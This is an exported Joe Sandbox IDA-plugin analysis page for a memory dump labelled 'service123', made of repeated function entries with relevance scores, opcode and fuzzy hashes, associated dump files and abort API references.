Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a8624b1fd366713e7d01e9c7b73e7716f8faf6c27a1f5d3e219e4fdb52f0f17
Instruction ID: 8f77c640b68434be4699ae68bab0e71148ed0f1edb3f8a6c9a4612ac16156614
Opcode Fuzzy Hash: 1a8624b1fd366713e7d01e9c7b73e7716f8faf6c27a1f5d3e219e4fdb52f0f17
Instruction Fuzzy Hash: C3213EB1A083018BDB00EFB4D58466FBBF5AF85244F464D2EE98197341EB31E909CBD2

Function 6D06AC70 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c06562b69c784be6a86bb8512af345303fc24f29340df0f65d1569f2ed8566d2
Instruction ID: d5d4f594164507b96ed2e28494718b0e98026b33c3638479472d202a08c8098b
Opcode Fuzzy Hash: c06562b69c784be6a86bb8512af345303fc24f29340df0f65d1569f2ed8566d2
Instruction Fuzzy Hash: 7A016172D04251CF9701FEBCCA4195BB7F1BB8A324B54D95AE45883305E730D404CB72

Function 6D06BAC0 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19d4b1a03b3ae3afb73a3dc72bb5dda89bed12ce82f8451e2ff46810938bbfa9
Instruction ID: 5caedc40c85ff087d7c33ee6aca0f9a12977f37456f2702f8b66813457c2dc24
Opcode Fuzzy Hash: 19d4b1a03b3ae3afb73a3dc72bb5dda89bed12ce82f8451e2ff46810938bbfa9
Instruction Fuzzy Hash: 790121B2D18285CF9701EEBCC98165BB7F1BB8A314F44D95AE45887309E771D404CB76

Function 6D06B280 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd4d52652f4017695539b486fbddd5854b2b10ffe105ce88834d4b133651c5cc
Instruction ID: 7d1727330c9e498d498c7b572fc5415750ef3a5db823cf8f266a398f445c9136
Opcode Fuzzy Hash: dd4d52652f4017695539b486fbddd5854b2b10ffe105ce88834d4b133651c5cc
Instruction Fuzzy Hash: 7D1118B2D04242CFE300EF68C945716BBF0AB8A318F59C499D4188B315E3BAD406CFA2

Function 6D06BDF0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee709f1dcda02b8da99bb1da36f196f33498fef50b5003b0c4f40ee37e72896d
Instruction ID: 99939df3301b06f79f0dc0f061737756f081fe11eb93ff7a0deda9d16391090e
Opcode Fuzzy Hash: ee709f1dcda02b8da99bb1da36f196f33498fef50b5003b0c4f40ee37e72896d
Instruction Fuzzy Hash: 040129B2D08281CF9701EEBCD98161AB7F0BB4A328F44DA6AE85893305E731D504CB76

Function 6D098250 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e212b916a0eedf2b43461e692c6793e6491ae904bd21821a69c3b50e97c6ec7
Instruction ID: b8a152a08b86bc142a3b17a2fe66bcf0d57f80ec84c4c20b395cb04186cd31e8
Opcode Fuzzy Hash: 5e212b916a0eedf2b43461e692c6793e6491ae904bd21821a69c3b50e97c6ec7
Instruction Fuzzy Hash: FB012C71908281CFC701DF79C98162BBBF0AB5B204F45D89AE898CB315E376C409CB66

Function 6D01D2B4 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 95ee32aa5ad927b1dc4a83478f86cfe336878b9b3e5cb2284810fcf843c81a86
Instruction ID: 0fdfe05fcbbc24883ccf934b259be2870d9fdb6e2d74857f67962d9b482ddfb5
Opcode Fuzzy Hash: 95ee32aa5ad927b1dc4a83478f86cfe336878b9b3e5cb2284810fcf843c81a86
Instruction Fuzzy Hash: C10171B1A093019BEB04EF69C8807AEFBE8FF85244F51856DD958CB241D735D846CBE2

Function 6D0C4110 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0aab4d4093957186181cc5ca4169b3c54955369cc8becb07691fc932957cde67
Instruction ID: faf5073ac6e755f2b7895355ea3df135476187e181d0a03cba56589c67efa375
Opcode Fuzzy Hash: 0aab4d4093957186181cc5ca4169b3c54955369cc8becb07691fc932957cde67
Instruction Fuzzy Hash: DCF0F476E04242DF9700EEBCDA42B6AB7F0A74A214F88D86AD868C3315E335D0048A27

Function 6D049F90 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f859ef01bab3953dac7a28b648bd33ce6f16d66ac78db82724bc88b19cc1ecc9
Instruction ID: 112a55d65f90d0ad9999ce075aa9b3c01cebcc6b6cd719d96f1e99ff1714a542
Opcode Fuzzy Hash: f859ef01bab3953dac7a28b648bd33ce6f16d66ac78db82724bc88b19cc1ecc9
Instruction Fuzzy Hash: 82D01271D04101DF8B01EEA9DA41A26B7B0AB87304B54D599D41897315D732E406CB59

Function 6D01D5A4 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a0d6367cb766bfedf8e938575c0c5d72422501bc95d77e19ba91109e056c638
Instruction ID: 6681431d798e7ba13500e98ffbea2f84eff977c8242f8932c19bd402cbbf661b
Opcode Fuzzy Hash: 5a0d6367cb766bfedf8e938575c0c5d72422501bc95d77e19ba91109e056c638
Instruction Fuzzy Hash: BBC012718041004BDF00EF74C0C067CF7F1AB82248F031858C094E7210DB74C842DB46

Function 6D01D424 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f47961f71c532a5ba7c31f82db50096166d24a052be1b17e5d052e010392cb2e
Instruction ID: 0039873a074dd46fe701a3f7e181aae891fd5359e7994c9468c6431cbf7a2d39
Opcode Fuzzy Hash: f47961f71c532a5ba7c31f82db50096166d24a052be1b17e5d052e010392cb2e
Instruction Fuzzy Hash: 1FC012718041104BDF40EF7480C01BCF3F0AF82244F435858C094E7210DB34D843DB46

Function 6D01D724 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 775594ecdda66c0ce29efa73e70a845c825609a65366644225eeb35c10ba540a
Instruction ID: 879a0ec4c4c3bab9eb334c961f050c438ca6bc1006375f725ae18cdfa89544f4
Opcode Fuzzy Hash: 775594ecdda66c0ce29efa73e70a845c825609a65366644225eeb35c10ba540a
Instruction Fuzzy Hash: 8CC012719041005BDF00EF7480C017CF7F0AB82244F435858C094E7210EB74C843EB46

Function 6D00AF80 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4782c14483e89b401938c8b91bc0639d669efe6f4935ac7e28a15c2c01b6abe
Instruction ID: 030f80ca327e04d86d5938a9b4ceea4c2129dad052a6683a2e69b09863f41d6c
Opcode Fuzzy Hash: e4782c14483e89b401938c8b91bc0639d669efe6f4935ac7e28a15c2c01b6abe
Instruction Fuzzy Hash: BCC012B4C082408AD200BF38910A22DBAB06B42208F852CACD68023212EB3AC11C865B

Function 6CFF28FA Relevance: 50.8, APIs: 28, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

abort.MSVCRT ref: 6D0C6CF4
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CF9
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CFE
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D03
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D08
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D0D
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D12
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D17
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Strings

L:m, xrefs: 6CFF2929

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID: L:m
API String ID: 4206212132-1709204621
Opcode ID: 2364d62b0a847335c62bfbdb8c7ab4fd38aa2aeaec0ba1f5b7dc4c7252f31769
Instruction ID: cadc61e69c23c80921717bea726a581cea198baa0ee494d3ea751240eba273aa
Opcode Fuzzy Hash: 2364d62b0a847335c62bfbdb8c7ab4fd38aa2aeaec0ba1f5b7dc4c7252f31769
Instruction Fuzzy Hash: A51193B2606201CBF708FF1CE895B6677B0FB15309F119A48D294D7621D779E818CB91

Function 6CFF2A2F Relevance: 50.8, APIs: 28, Strings: 1, Instructions: 82
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

abort.MSVCRT ref: 6D0C6CF4
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CF9
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CFE
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D03
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D08
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D0D
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D12
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D17
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Strings

V:m, xrefs: 6CFF2A5E

Memory Dump Source

Source File: 00000009.00000002.5005123090.000000006CFF1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6CFF0000, based on PE: true

Associated: 00000009.00000002.5005094656.000000006CFF0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005226146.000000006D0CD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005259275.000000006D0CF000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005378726.000000006D118000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005448388.000000006D119000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.5005487038.000000006D11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6cff0000_service123.jbxd

Similarity

API ID: abort
String ID: V:m
API String ID: 4206212132-1336994734
Opcode ID: 013442ecbe979000044c3b71fe5326c41356c35d29eedd8aa7ef4a90174051d5
Instruction ID: 9a882a744baa9abccedbcf99e02ac373869416703da60433ebd10cb81016c90f
Opcode Fuzzy Hash: 013442ecbe979000044c3b71fe5326c41356c35d29eedd8aa7ef4a90174051d5
Instruction Fuzzy Hash: 7611A5B2606201CBF708EF18E495B6677B0FB15309F119A48D294D7621D779E818CB91

Function 6CFF29B1 Relevance: 50.8, APIs: 28, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

abort.MSVCRT ref: 6D0C6CF4
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CF9
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6CFE
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D03
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D08
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D0D
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D12
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D17
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D1C
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D21
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D26
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D2B
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D30
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D35
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3A
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D3F
abort.MSVCRT(?,?,?,?,00000001,?,6CFFC5DB), ref: 6D0C6D44
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D4C
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D51
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D56
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D5B
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D60
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D65
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6A
abort.MSVCRT(?,?,?,?,?,?,6CFFE2F4,?,?,?,?,?,?,00000000,00000001,6D00008D), ref: 6D0C6D6F
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D74
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D79
abort.MSVCRT(?,?,00000000,00000000,?,7612E2B0,6D00038F), ref: 6D0C6D7E

Strings

`:m, xrefs: 6CFF29E0

Memory Dump Source

